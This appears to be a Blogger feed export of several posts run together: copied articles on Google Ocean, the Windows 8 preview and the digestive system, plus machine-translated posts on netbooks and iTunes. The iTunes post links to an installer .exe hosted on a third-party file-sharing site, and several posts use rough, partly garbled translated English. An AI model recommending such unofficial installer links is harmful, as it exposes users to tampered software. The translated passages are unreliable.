To understand what <a href="http://earth.google.com/ocean/" target="_blank">Google Ocean</a> is, you download Google Earth, a free application that runs on your computer and allows you to fly over the globe like Superman or Wonder Woman. It's pretty hard to describe without actually experiencing it, but it gets a little stranger when you dive in and fly <em>under the water, </em>kind of like Aquaman. Once you're swimming around in your virtual sea you find, embedded right in the water, videos and images and articles that have been contributed by the likes of National Geographic, Lindblad Expeditions, <a href="http://www.cousteau.org/">The Cousteau Society</a> and <a href="http://www.nationalgeographic.com/field/explorers/sylvia-earle.html" target="_blank">Dr. Sylvia Earle</a>. <br />
This is turbocharged armchair traveling, powered by the collective knowledge of the world's best ocean scientists and explorers.<br />
Google Earth is "part of Google's mission to organize the world's knowledge and make it universally accessible," Charlotte said in an interview with me.<br />
<br />
I'm thinking that sounds impossible <em>and</em> cocky. Thing is, though, it's happening, and with Google Ocean, happening in a way that is reinventing media. Giants in the nature film industry like <a href="http://www.macgillivrayfreemanfilms.com/site/">MacGillivary Freeman Films</a> are posting in Google Ocean, and also small-time but knowledgeable naturalists with flip cams.<br />
<br />
"It's taking the storytelling of people who have been in the water and are fairly bursting with stories about what's important to pay attention to in the ocean. You're giving them an outlet to do that," said Charlotte. It's a global experience on your desktop, one you can't be part of without appreciating the value of the oceans. I think it could turn everyone into a digital activist. It's essential that everyone in the world realize that their very lives depend on keeping the oceans healthy.<br />
Healthy oceans produce oxygen for us to breathe. The oxygen is produced by phytoplankton, bacteria and other tiny ocean creatures who make life on Earth possible for you and me.<br />
Here's a digital experience that puts you in touch with the natural world, helps you appreciate some of the tiniest beings on the planet who produce the oxygen we breathe, and encounter the dedicated work of a Texan from the Panhandle who discovered a love for the ocean. What Charlotte Vick is doing resonates with me for another reason though, and probably the same reason her work resonates with other natural-science filmmakers. She's taking what scientists do and turning it into a story everyone can relate to. By the way, Charlotte told me that ocean scientist Sylvia Earle also had an encounter with an octopus -- and this one's on video.<br />
<br />
<a href="http://www.huffingtonpost.com/lee-schneider/googles-digital-activism_b_780522.html?ir=Technology">Video</a>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-78727893869732997862011-09-13T17:26:00.000-07:002011-09-13T17:26:30.259-07:00Microsoft show Windows 8 for Tablet PcMicrosoft today <a href="http://www.microsoft.com/presspass/press/2011/sep11/09-13FutureofComputingPR.mspx">officially unveiled</a> its next-generation Windows 8 operating system, detailing how the company has "reimagined" the software to allow a single operating system to run on a variety of systems from tablets to desktops and Intel to ARM. The company's new "Metro" user interface emphasizes touch-centered input and full-screen apps much like the iPad, but also supports full mouse and keyboard input with the familiar underpinnings of earlier Windows versions. <br />
<br />
<br />
<img alt="" class="aligncenter size-full wp-image-323565" height="367" src="http://cdn.macrumors.com/article-new/2011/09/windows_8_tablet.jpg" title="windows_8_tablet" width="550" /><br />
<a name='more'></a> <br />
<br />
Perhaps most notable for Apple observers is Microsoft's tablet effort with Windows 8, marking yet another significant effort to unseat Apple's iPad from its dominating position atop the tablet market. <i>This is my next</i> offers a <a href="http://thisismynext.com/2011/09/13/windows-8-tablet-photos-video-preview/">hands-on look</a> at Windows 8 running on a prototype Intel-powered tablet device from Samsung, sharing a number of details about the functionality of the operating system. But while Microsoft acknowledges that Windows 8 is a work in progress, the current tablet implementation appears to be a somewhat rough integration of the Metro touch experience with more traditional desktop computing. The report summarizes Windows 8 for tablets as follows:<br />
<div class="quote">There’s a lot to digest here, and we’ve barely scraped the surface of Windows 8, so we’re sure our impressions will change over time… much as the OS will hopefully congeal later in the development cycle. If we’re going to be totally honest though, we’d describe Windows 8 right now as incoherent and contradictory. Touch response in the Metro UI is stellar, Contracts sound seriously useful, and snapping apps can make you more productive on a tablet, but whenever you want to get down and dirty with a traditional program, it’s back to the traditional desktop interface. There are two Control Panels, two versions of IE, and core apps are nowhere to be found (i.e. Mail, a camera app, etc.) Meanwhile, if you want to do anything with the desktop interface (save things you’ve actually planted on your desktop) you’ll probably find yourself thrown back to Metro since the traditional Start menu is gone. The whole user experience feels schizophrenic, with users having to jump back and forth between the two paradigms, each of which seem like they might be better off on their own. Still, as the title of the Microsoft show suggests, this is very much a work in progress and the apps and the tools are, well, still being built.</div><div class="quote"><br />
</div>Questions also remain about architecture support, with the Intel-powered tablet running Windows 8 serving as a capable device but missing the benefits of ARM-based systems such as power efficiency. Microsoft promises that ARM support is an important component to the Windows 8 strategy, but the company is not yet able to offer hands-on time with such devices.<div class="quote">Powered by a 1.6GHz Core i5-2467M processor and a 64GB solid state drive, the system is absolutely no slouch on performance — everything from scrolling in the browser to the Start screen is extremely speedy and the system boots incredibly quickly. However, fan noise is very noticeable, as is the heat coming out of the top vent, and a fast boot doesn’t excuse the slow wake-up times compared to ARM-based cellphones and tablets. <br />
<br />
It’s for these reasons we were pretty disappointed to see the tablet running on x86 architecture, with only a token gesture to ARM during our session, but VP of Windows Planning Mike Angiulo assured us that the progress on ARM is coming along quite nicely. He maintains they wanted developers to have top-notch hardware that was capable of running multiple instances, and thus went with the Core i5 hardware.</div>A developer preview version of Windows 8 will be available for download later today.<br />
<br />
<a href="http://www.macrumors.com/2011/09/13/microsoft-previews-windows-8-for-tablets-and-pcs/">Source</a>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com1tag:blogger.com,1999:blog-872526658971900970.post-18027559814678504812011-09-12T01:10:00.000-07:002011-09-20T00:12:08.039-07:00The difference Notebook with Netbook<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZyPyLF9KbAOdghjlfgqkfVEGhNiYSOuCshfTCEAcXrsdWB8G-MEJO0MCCH7Upmj61oZy0phdn-ToI5QKh7cUadmpwfGUFbjbxL5eDYCjU5PI8mWASSuN6AeLuYM5uN378DmweY4-IqGM/s1600/netbook_notebook.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZyPyLF9KbAOdghjlfgqkfVEGhNiYSOuCshfTCEAcXrsdWB8G-MEJO0MCCH7Upmj61oZy0phdn-ToI5QKh7cUadmpwfGUFbjbxL5eDYCjU5PI8mWASSuN6AeLuYM5uN378DmweY4-IqGM/s320/netbook_notebook.jpg" width="320" /></a></div><span class="" id="result_box" lang="en"><span class="hps">The differences</span> <span class="hps">are quite striking</span> <span class="hps">between</span> <span class="hps">netbooks</span> <span class="hps">and</span> <span class="hps">notebooks</span>. <span class="hps">Netbook</span> <span class="hps">smaller</span> <span class="hps">screen</span> <span class="hps">size</span> <span class="hps">and</span> <span class="hps">in numbers ranging from</span> <span class="hps atn">7 "</span><span class="">-10.2</span>" <span class="hps">Notebook</span> <span class="hps">while</span> <span class="hps">ranging from</span> <span class="hps atn">12 "</span>upwards<br />
<span class="hps">In addition to</span> <span class="hps">size</span>, <span class="hps">hardware specs</span> <span class="hps">between</span> <span class="hps">netbook</span> <span class="hps">notebook</span> <span class="hps">ddengan</span> <span class="hps">also different</span>. <span class="hps">Typically</span>, <span class="hps">using the</span> <span class="hps">processor</span> <span class="hps">intel</span> <span class="hps">atom</span> <span class="hps">netbooks</span>, <span class="hps">VIA</span> <span class="hps">C7</span> <span class="hps">or</span> <span class="hps">Athlon</span> <span class="hps">Neo</span> <span class="hps">for the</span> <span class="hps">netbook market</span>, <span class="hps">netbooks</span> <span class="hps">are usually</span> <span class="hps">equipped with</span> <span class="hps">512</span> <span class="hps">mb</span> <span class="hps">RAM</span><span class="atn">-</span>1GB. <span class="hps">Some options</span> <span class="hps">SSD</span> <span class="hps atn">(</span>Solid State <span class="hps">Drive</span>). <span class="hps">While</span> <span class="hps">notebooks</span> <span class="hps">typically use</span> <span class="hps">a</span> <span class="hps">more powerful</span> <span class="hps">processor</span> <span class="hps">such as</span> <span class="hps">Pentium</span> <span class="hps">Dual</span> <span class="hps">Core</span>, <span class="hps">Core 2</span> <span class="hps">Duo</span>, <span class="hps">notebook</span> <span class="hps">can also use</span> <span class="hps">dscrete</span> <span class="hps">of</span> <span class="hps">Ati</span> <span class="hps">Radeon</span> <span class="hps">graphics</span> <span class="hps">or Nvidia</span> <span class="hps">GeForce</span>, <span class="hps">Setau</span> <span class="hps">netbook</span> <span class="hps">I</span> <span class="hps">have</span> <span class="hps">ever</span> <span class="hps">used</span> <span class="hps">dscrete</span> <span class="hps">graphic</span>.</span><br />
<a name='more'></a><br />
<br />
<span class="hps">The function of</span> <span class="hps">the notebook</span> <span class="hps">is intended</span> <span class="hps">for</span> <span class="hps">people</span> <span class="hps">who need</span> <span class="hps">a fairly</span> <span class="hps">powerful</span> <span class="hps">computer</span> <span class="hps">to</span> <span class="hps">work</span> <span class="hps">and can be</span> <span class="hps">taken anywhere</span>. <span class="hps">While the</span> <span class="hps">netbook</span> <span class="hps">is aimed at</span> <span class="hps">people</span> <span class="hps">who want</span> <span class="hps">mobility</span> <span class="hps">in using</span> <span class="hps">computers</span> <span class="hps">to simply</span> <span class="hps">pekerjaa</span> <span class="hps">office</span> <span class="hps">and internet</span>. <span class="hps">Netbook</span> <span class="hps">performance</span> <span class="hps">was</span> <span class="hps">mediocre</span>.<br />
<br />
<span class="hps">Meanwhile, to</span> <span class="hps">play FLV files</span> <span class="hps">on</span> <span class="hps">nokia</span> <span class="hps">E63</span> <span class="hps">mobile phone</span> <span class="hps">users</span> <span class="hps">can use applications</span> <span class="hps">that are biased</span> <span class="hps">FLVPlayer</span> <span class="hps">http://symbian-freeware.com/mirror/FLVPlayer.zip</span> <span class="hps">downloaded at the site</span> <span class="hps">or</span> <span class="hps">application</span> <span class="hps">on the site</span> <span class="hps">emTube</span> <span class="hps">player</span> <span class="hps">http://symbianv3.com/wp</span> <span class="hps">-content</span> <span class="hps">/</span> <span class="hps">uploads/2007/12/emtube_s60_3_v_1_0_0.zip</span> <span class="hps">or</span> <span class="hps">youtube</span> <span class="hps">mobile</span> <span class="hps">through the site</span>. <span class="status">QZK5SYGKVRXD</span>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-34612956689698257522011-09-08T17:04:00.000-07:002011-09-08T17:05:43.013-07:00Workings of the Digestive System<ul><li><a href="http://digestive.niddk.nih.gov/ddiseases/pubs/yrdd/#why">Why is digestion important?</a></li>
<li><a href="http://digestive.niddk.nih.gov/ddiseases/pubs/yrdd/#food">How is food digested?</a></li>
<li><a href="http://digestive.niddk.nih.gov/ddiseases/pubs/yrdd/#control">How is the digestive process controlled?</a></li>
<li><a href="http://digestive.niddk.nih.gov/ddiseases/pubs/yrdd/#info">For More Information</a></li>
</ul><div style="float: right;"><img alt="Drawing of the digestive system with sections labeled: esophagus,
stomach, liver, gallbladder, duodenum, pancreas, small intestine, ileum,
appendix, cecum, ascending colon, transverse colon, descending colon,
sigmoid colon, rectum, and anus." height="438" src="http://digestive.niddk.nih.gov/ddiseases/pubs/yrdd/images/digest.gif" width="234" /><br />
<span class="caption">The digestive system.</span></div>The digestive system is made up of the digestive tract—a series of hollow organs joined in a long, twisting tube from the mouth to the anus—and other organs that help the body break down and absorb food (see figure).<br />
Organs that make up the digestive tract are the mouth, esophagus, stomach, small intestine, large intestine—also called the colon—rectum, and anus. Inside these hollow organs is a lining called the mucosa. In the mouth, stomach, and small intestine, the mucosa contains tiny glands that produce juices to help digest food. The digestive tract also contains a layer of smooth muscle that helps break down food and move it along the tract.<br />
Two “solid” digestive organs, the liver and the pancreas, produce digestive juices that reach the intestine through small tubes called ducts. The gallbladder stores the liver's digestive juices until they are needed in the intestine. Parts of the nervous and circulatory systems also play major roles in the digestive system.<br />
[<a class="top" href="http://digestive.niddk.nih.gov/ddiseases/pubs/yrdd/#top">Top</a>]<br />
<h3 id="why">Why is digestion important?</h3>When you eat foods—such as bread, meat, and vegetables—they are not in a form that the body can use as nourishment. Food and drink must be changed into smaller molecules of nutrients before they can be absorbed into the blood and carried to cells throughout the body. Digestion is the process by which food and drink are broken down into their smallest parts so the body can use them to build and nourish cells and to provide energy.<br />
[<a class="top" href="http://digestive.niddk.nih.gov/ddiseases/pubs/yrdd/#top">Top</a>]<br />
<a name='more'></a><br />
<h3 id="food">How is food digested?</h3>Digestion involves mixing food with digestive juices, moving it through the digestive tract, and breaking down large molecules of food into smaller molecules. Digestion begins in the mouth, when you chew and swallow, and is completed in the small intestine.<br />
<h4>Movement of Food Through the System</h4>The large, hollow organs of the digestive tract contain a layer of muscle that enables their walls to move. The movement of organ walls can propel food and liquid through the system and also can mix the contents within each organ. Food moves from one organ to the next through muscle action called peristalsis. Peristalsis looks like an ocean wave traveling through the muscle. The muscle of the organ contracts to create a narrowing and then propels the narrowed portion slowly down the length of the organ. These waves of narrowing push the food and fluid in front of them through each hollow organ.<br />
The first major muscle movement occurs when food or liquid is swallowed. Although you are able to start swallowing by choice, once the swallow begins, it becomes involuntary and proceeds under the control of the nerves.<br />
Swallowed food is pushed into the esophagus, which connects the throat above with the stomach below. At the junction of the esophagus and stomach, there is a ringlike muscle, called the lower esophageal sphincter, closing the passage between the two organs. As food approaches the closed sphincter, the sphincter relaxes and allows the food to pass through to the stomach.<br />
The stomach has three mechanical tasks. First, it stores the swallowed food and liquid. To do this, the muscle of the upper part of the stomach relaxes to accept large volumes of swallowed material. The second job is to mix up the food, liquid, and digestive juice produced by the stomach. The lower part of the stomach mixes these materials by its muscle action. The third task of the stomach is to empty its contents slowly into the small intestine.<br />
Several factors affect emptying of the stomach, including the kind of food and the degree of muscle action of the emptying stomach and the small intestine. Carbohydrates, for example, spend the least amount of time in the stomach, while protein stays in the stomach longer, and fats the longest. As the food dissolves into the juices from the pancreas, liver, and intestine, the contents of the intestine are mixed and pushed forward to allow further digestion.<br />
Finally, the digested nutrients are absorbed through the intestinal walls and transported throughout the body. The waste products of this process include undigested parts of the food, known as fiber, and older cells that have been shed from the mucosa. These materials are pushed into the colon, where they remain until the feces are expelled by a bowel movement.<br />
<h4>Production of Digestive Juices</h4>The digestive glands that act first are in the mouth—the salivary glands. Saliva produced by these glands contains an enzyme that begins to digest the starch from food into smaller molecules. An enzyme is a substance that speeds up chemical reactions in the body.<br />
The next set of digestive glands is in the stomach lining. They produce stomach acid and an enzyme that digests protein. A thick mucus layer coats the mucosa and helps keep the acidic digestive juice from dissolving the tissue of the stomach itself. In most people, the stomach mucosa is able to resist the juice, although food and other tissues of the body cannot.<br />
After the stomach empties the food and juice mixture into the small intestine, the juices of two other digestive organs mix with the food. One of these organs, the pancreas, produces a juice that contains a wide array of enzymes to break down the carbohydrate, fat, and protein in food. Other enzymes that are active in the process come from glands in the wall of the intestine.<br />
The second organ, the liver, produces yet another digestive juice—bile. Bile is stored between meals in the gallbladder. At mealtime, it is squeezed out of the gallbladder, through the bile ducts, and into the intestine to mix with the fat in food. The bile acids dissolve fat into the watery contents of the intestine, much like detergents that dissolve grease from a frying pan. After fat is dissolved, it is digested by enzymes from the pancreas and the lining of the intestine.<br />
<h4>Absorption and Transport of Nutrients</h4>Most digested molecules of food, as well as water and minerals, are absorbed through the small intestine. The mucosa of the small intestine contains many folds that are covered with tiny fingerlike projections called villi. In turn, the villi are covered with microscopic projections called microvilli. These structures create a vast surface area through which nutrients can be absorbed. Specialized cells allow absorbed materials to cross the mucosa into the blood, where they are carried off in the bloodstream to other parts of the body for storage or further chemical change. This part of the process varies with different types of nutrients.<br />
<br />
<b>Carbohydrates.</b> The <i>Dietary Guidelines for Americans 2005</i> recommend that 45 to 65 percent of total daily calories be from carbohydrates. Foods rich in carbohydrates include bread, potatoes, dried peas and beans, rice, pasta, fruits, and vegetables. Many of these foods contain both starch and fiber.<br />
The digestible carbohydrates—starch and sugar—are broken into simpler molecules by enzymes in the saliva, in juice produced by the pancreas, and in the lining of the small intestine. Starch is digested in two steps. First, an enzyme in the saliva and pancreatic juice breaks the starch into molecules called maltose. Then an enzyme in the lining of the small intestine splits the maltose into glucose molecules that can be absorbed into the blood. Glucose is carried through the bloodstream to the liver, where it is stored or used to provide energy for the work of the body.<br />
Sugars are digested in one step. An enzyme in the lining of the small intestine digests sucrose, also known as table sugar, into glucose and fructose, which are absorbed through the intestine into the blood. Milk contains another type of sugar, lactose, which is changed into absorbable molecules by another enzyme in the intestinal lining.<br />
Fiber is undigestible and moves through the digestive tract without being broken down by enzymes. Many foods contain both soluble and insoluble fiber. Soluble fiber dissolves easily in water and takes on a soft, gel-like texture in the intestines. Insoluble fiber, on the other hand, passes essentially unchanged through the intestines.<br />
<br />
<b>Protein.</b> Foods such as meat, eggs, and beans consist of giant molecules of protein that must be digested by enzymes before they can be used to build and repair body tissues. An enzyme in the juice of the stomach starts the digestion of swallowed protein. Then in the small intestine, several enzymes from the pancreatic juice and the lining of the intestine complete the breakdown of huge protein molecules into small molecules called amino acids. These small molecules can be absorbed through the small intestine into the blood and then be carried to all parts of the body to build the walls and other parts of cells.<br />
<br />
<b>Fats.</b> Fat molecules are a rich source of energy for the body. The first step in digestion of a fat such as butter is to dissolve it into the watery content of the intestine. The bile acids produced by the liver dissolve fat into tiny droplets and allow pancreatic and intestinal enzymes to break the large fat molecules into smaller ones. Some of these small molecules are fatty acids and cholesterol. The bile acids combine with the fatty acids and cholesterol and help these molecules move into the cells of the mucosa. In these cells the small molecules are formed back into large ones, most of which pass into vessels called lymphatics near the intestine. These small vessels carry the reformed fat to the veins of the chest, and the blood carries the fat to storage depots in different parts of the body.<br />
<b>Vitamins.</b> Another vital part of food that is absorbed through the small intestine are vitamins. The two types of vitamins are classified by the fluid in which they can be dissolved: water-soluble vitamins (all the B vitamins and vitamin C) and fat-soluble vitamins (vitamins A, D, E, and K). Fat-soluble vitamins are stored in the liver and fatty tissue of the body, whereas water-soluble vitamins are not easily stored and excess amounts are flushed out in the urine.<br />
<b>Water and salt.</b> Most of the material absorbed through the small intestine is water in which salt is dissolved. The salt and water come from the food and liquid you swallow and the juices secreted by the many digestive glands.<br />
[<a class="top" href="http://digestive.niddk.nih.gov/ddiseases/pubs/yrdd/#top">Top</a>]<br />
<h3 id="control">How is the digestive process controlled?</h3><h4>Hormone Regulators</h4>The major hormones that control the functions of the digestive system are produced and released by cells in the mucosa of the stomach and small intestine. These hormones are released into the blood of the digestive tract, travel back to the heart and through the arteries, and return to the digestive system where they stimulate digestive juices and cause organ movement.<br />
The main hormones that control digestion are gastrin, secretin, and cholecystokinin (CCK):<br />
<ul><li><b>Gastrin</b> causes the stomach to produce an acid for dissolving and digesting some foods. Gastrin is also necessary for normal cell growth in the lining of the stomach, small intestine, and colon.</li>
<li><b>Secretin</b> causes the pancreas to send out a digestive juice that is rich in bicarbonate. The bicarbonate helps neutralize the acidic stomach contents as they enter the small intestine. Secretin also stimulates the stomach to produce pepsin, an enzyme that digests protein, and stimulates the liver to produce bile.</li>
<li><b>CCK</b> causes the pancreas to produce the enzymes of pancreatic juice, and causes the gallbladder to empty. It also promotes normal cell growth of the pancreas.</li>
</ul>Additional hormones in the digestive system regulate appetite:<br />
<ul><li><b>Ghrelin</b> is produced in the stomach and upper intestine in the absence of food in the digestive system and stimulates appetite.</li>
<li><b>Peptide YY</b> is produced in the digestive tract in response to a meal in the system and inhibits appetite.</li>
</ul>Both of these hormones work on the brain to help regulate the intake of food for energy. Researchers are studying other hormones that may play a part in inhibiting appetite, including glucagon-like peptide-1 (GPL-1), oxyntomodulin (+ ), and pancreatic polypeptide.<br />
<h4>Nerve Regulators</h4>Two types of nerves help control the action of the digestive system.<br />
Extrinsic, or outside, nerves come to the digestive organs from the brain or the spinal cord. They release two chemicals, acetylcholine and adrenaline. Acetylcholine causes the muscle layer of the digestive organs to squeeze with more force and increase the “push” of food and juice through the digestive tract. It also causes the stomach and pancreas to produce more digestive juice. Adrenaline has the opposite effect. It relaxes the muscle of the stomach and intestine and decreases the flow of blood to these organs, slowing or stopping digestion.<br />
The intrinsic, or inside, nerves make up a very dense network embedded in the walls of the esophagus, stomach, small intestine, and colon. The intrinsic nerves are triggered to act when the walls of the hollow organs are stretched by food. They release many different substances that speed up or delay the movement of food and the production of juices by the digestive organs.<br />
Together, nerves, hormones, the blood, and the organs of the digestive system conduct the complex tasks of digesting and absorbing nutrients from the foods and liquids you consume each day.<br />
<br />
<a href="http://digestive.niddk.nih.gov/ddiseases/pubs/yrdd/">Source Article</a>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-53062322979775368402011-09-01T01:08:00.000-07:002011-09-01T01:08:58.380-07:00Free Download Itunes For Windows<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV9KgM5DVf8P5xiDMM6W7q2F4ETrRsitNnC3q4VDHAofOnOhnti1P00Kgl3jVgrp0KEK9WZ_LCZ7wTbfsYsc0q3AKD3mPHeVSDb91RdWFePeGPIJRSNm98ODApHp_YnJXOBrEPx-DDjP8/s1600/aple.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV9KgM5DVf8P5xiDMM6W7q2F4ETrRsitNnC3q4VDHAofOnOhnti1P00Kgl3jVgrp0KEK9WZ_LCZ7wTbfsYsc0q3AKD3mPHeVSDb91RdWFePeGPIJRSNm98ODApHp_YnJXOBrEPx-DDjP8/s1600/aple.jpg" /></a></div><br />
<span class="" id="result_box" lang="en"><span class="hps">In the</span> <span class="hps">early part of the</span> <span class="hps">research</span> <span class="hps">results of</span> <span class="hps">researchers</span> <span class="hps">from</span> <span class="hps">Harvard</span> <span class="hps">Law School</span> <span class="hps">shows the 5</span> <span class="hps">advantages</span> <span class="hps">iTunes</span> <span class="hps">than</span> <span class="hps">its competitors</span><span>.</span> <span class="hps">namely</span><span class=""> :<a name='more'></a></span></span><br />
<span class="" id="result_box" lang="en"><span class=""><br />
</span></span><br />
<span class="" id="result_box" lang="en"><span class="hps">1.</span> <span class="hps">pricing</span><br />
<span class="hps">The price of a</span> <span class="hps">song</span> <span class="hps">is 99</span> <span class="hps">cents</span> <span class="hps">with no</span> <span class="hps">other</span> <span class="hps">fees</span><span class="">.</span> <span class="hps">With no</span> <span class="hps">subscription fee</span><span class="">,</span> <span class="hps">with no</span> <span class="hps">member fees</span><span class="">.</span> <span class="hps">This</span> <span class="hps">is the purchase price</span><span class="">.</span> <span class="hps">Not</span> <span class="hps">rents</span><span class="">.</span> <span class="hps">Such</span> <span class="hps">a revolutionary</span> <span class="hps">pricing</span> <span class="hps">model</span> <span class="hps">and</span> <span class="hps">palpable</span><span class="">.</span> <span class="hps">Cheap</span> <span class="hps">and</span> <span class="hps">easy</span> <span class="hps">from</span> <span class="hps">the consumer side</span><span class="">.</span><br />
<span class="hps">Pricing</span> <span class="hps">model</span> <span class="hps">that is easy</span> <span class="hps">and straightforward</span> <span class="hps">it</span> <span class="hps">makes</span> <span class="hps">the</span> <span class="hps">customer</span> <span class="hps">comfortable.</span> <span class="hps">Consumers</span> <span class="hps">feel</span> <span class="hps">shopping</span> <span class="hps">at the iTunes</span> <span class="hps">Store</span> <span class="hps">seemed</span> <span class="hps">like</span> <span class="hps">P2P</span> <span class="hps">music</span> <span class="hps">sharing</span><span class="">.</span> <span class="hps">It's just</span> <span class="hps">better quality and</span> <span class="hps">legal.</span><br />
<br />
<span class="hps">2.</span> <span class="hps">Song</span> <span class="hps">Catalog</span><br />
<span class="hps">Since the</span> <span class="hps">initial</span> <span class="hps">launch,</span> <span class="hps">iTunes</span> <span class="hps">has prepared a</span> <span class="hps">catalog of</span> <span class="hps">exceptional</span> <span class="hps">music</span> <span class="hps">that</span> <span class="hps">much</span><span class="">.</span> <span class="hps">First</span> <span class="hps">iTunes</span> <span class="hps">offering</span> <span class="hps">200,000</span> <span class="hps">songs in</span> <span class="hps">its catalog</span><span class="">.</span> <span class="hps">In 2004</span> <span class="hps">increased</span> <span class="hps">to 700,000</span> <span class="hps">songs</span><span class="">.</span> <span class="hps">In 2007</span> <span class="hps">increased to</span> <span class="hps">3 million</span> <span class="hps">songs</span><span class="">.</span><br />
<span class="hps">Year 2004</span> <span class="hps">has sold</span> <span class="hps">100 million</span> <span class="hps">songs</span><span class="">.</span><br />
<span class="hps">The year 2006</span> <span class="hps">has sold</span> <span class="hps">1,000 million</span> <span class="hps">(1</span> <span class="hps">billion</span><span class="">)</span> <span class="hps">track</span><span class="">.</span><br />
<span class="hps">In 2009</span><span class="">, January 6,</span> <span class="hps">has sold</span> <span class="hps">six</span> <span class="hps">billion</span> <span class="hps">songs</span><span class="">.</span><br />
<br />
<span class="hps">3.</span> <span class="hps">Ease</span> <span class="hps">of Use</span><br />
<span class="hps">iTunes</span> <span class="hps">Store</span> <span class="hps">soon</span> <span class="hps">famous for its</span> <span class="hps">ease and</span> <span class="hps">comfort</span><span class="">.</span> <span class="hps">After</span> <span class="hps">free</span> <span class="hps">browsing</span><span class="">,</span> <span class="hps">shoppers can</span> <span class="hps">instantly</span> <span class="hps">shop</span> <span class="hps">with just</span> <span class="hps">one click</span><span class="">.</span> <span class="hps">Or</span> <span class="hps">can</span> <span class="hps">she</span> <span class="hps">save it</span> <span class="hps">first</span> <span class="hps">in your shopping cart</span> <span class="hps">at any time</span> <span class="hps">purchased</span><span class="">.</span><br />
<br />
<span class="hps">4.</span> <span class="hps">Digital</span> <span class="hps">Rights Management</span> <span class="hps">System</span><br />
<span class="hps">All the songs</span> <span class="hps">that are traded</span> <span class="hps">on the iTunes</span> <span class="hps">Store</span> <span class="hps">are protected</span> <span class="hps">by copyright</span><span class="">.</span> <span class="hps">The songs</span> <span class="hps">can be</span> <span class="hps">played on</span> <span class="hps">iPods</span> <span class="hps">everywhere</span> <span class="hps">infinite</span><span class="">.</span> <span class="hps">But</span> <span class="hps">the song</span> <span class="hps">can only be</span> <span class="hps">copied</span> <span class="hps">in</span> <span class="hps">a number of</span> <span class="hps">small</span> <span class="hps">computer only.</span> <span class="hps">DRM</span> <span class="hps">protect all</span> <span class="hps">that.</span> <span class="hps">Apple</span> <span class="hps">continues to</span> <span class="hps">make</span> <span class="hps">revisions to</span> <span class="hps">its</span> <span class="hps">DRM</span> <span class="hps">system</span><span class="">.</span><br />
<br />
<span class="hps">5.</span> <span class="hps">Extra</span> <span class="hps">Features</span><br />
<span class="hps">A unique</span> <span class="hps">and</span> <span class="hps">impressive</span> <span class="hps">feature</span> <span class="hps">makes</span> <span class="hps">iTunes</span> <span class="hps">customer</span> <span class="hps">does not</span> <span class="hps">want to move</span> <span class="hps">to a competitor</span><span class="">.</span> <span class="hps">Even the</span> <span class="hps">customer</span> <span class="hps">makes the</span> <span class="hps">final</span> <span class="hps">mooring</span> <span class="hps">iTunes as</span> <span class="hps">their</span> <span class="hps">adventure</span><span class="">.</span><br />
<span class="hps">That's</span> <span class="hps">five</span> <span class="hps">greatness</span> <span class="hps">iTunes</span> <span class="hps">Store</span> <span class="hps atn">(</span><span class="">with</span> <span class="hps">iPodnya</span><span class="">) version</span> <span class="hps">of</span> <span class="hps">the research</span> <span class="hps">team</span> <span class="hps">at Harvard</span> <span class="hps">Law School</span><span class="">.</span></span><br />
<br />
<br />
<span class="short_text" id="result_box" lang="en"><span class="hps">if</span> <span class="hps">you</span> <span class="hps">are interested in using</span> <span class="hps">itunes ?</span></span><br />
<br />
<span class="short_text" id="result_box" lang="en"><span class="hps"><a href="http://www.ziddu.com/download/15270900/iTunesSetup.exe.html">Download Now ! </a></span></span><br />
<span class="short_text" id="result_box" lang="en"><span class="hps"></span></span><br />
<span class="short_text" id="result_box" lang="en"><span class="hps"></span></span><br />
<span class="short_text" id="result_box" lang="en"><span class="hps"></span></span><br />
<span class="short_text" id="result_box" lang="en"><span class="hps"></span></span><br />
<span class="short_text" id="result_box" lang="en"><span class="hps"></span></span><br />
<span class="short_text" id="result_box" lang="en"><span class="hps"><br />
</span></span><br />
<div class="gt-spell-correct-message gt-spell-vkeyboard-on" id="spelling-correction" style="display: none;">Mungkin maksud Anda adalah: <a href="">apakah <b><i>kamu</i></b> berminat menggunakan itunes</a></div><br />
<div id="gt-src-tools"><div id="gt-src-tools-l"><div class="trans-keyboard-button goog-toolbar-button" id="gt-src-keyboard" role="button" style="-moz-user-select: none;" tabindex="0"><span class="jfk-button-img"></span></div><div class="" id="inputt13n" style="display: none;"><span class="jfk-checkbox goog-inline-block" dir="ltr" id="t13nimg" role="checkbox" style="-moz-user-select: none;" tabindex="0"></span><span dir="ltr" id="t13ntext"></span></div></div><div id="gt-src-tools-r"><div class="trans-listen-button goog-toolbar-button" id="gt-src-listen" role="button" style="-moz-user-select: none;" tabindex="0"><span class="jfk-button-img"></span></div><div class="trans-roman-button goog-toolbar-button" id="gt-src-roman" role="button" style="-moz-user-select: none; display: none;"><span class="jfk-button-img"></span></div></div></div><div id="select_document" style="display: none;">Ketikkan teks atau alamat situs web atau <a href="http://translate.google.co.id/?tr=f&hl=id">terjemahkan dokumen.</a></div><div class="file" id="file_div" style="display: none;"><div id="select_text" style="display: none;"><a href="http://translate.google.co.id/?tr=t&hl=id">Batal</a></div><input id="file" name="file" size="40" style="display: none;" type="file" /></div><div class="" id="autotrans" style="display: none; visibility: visible;"><h3 class="" id="headingtext">Terjemahan Bahasa Indonesia ke Inggris</h3></div>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-9034921646948907482011-08-27T14:29:00.000-07:002011-08-27T14:32:19.622-07:00How To Overcome Bluescreen<div class="separator" style="clear: both; text-align: center;"><a 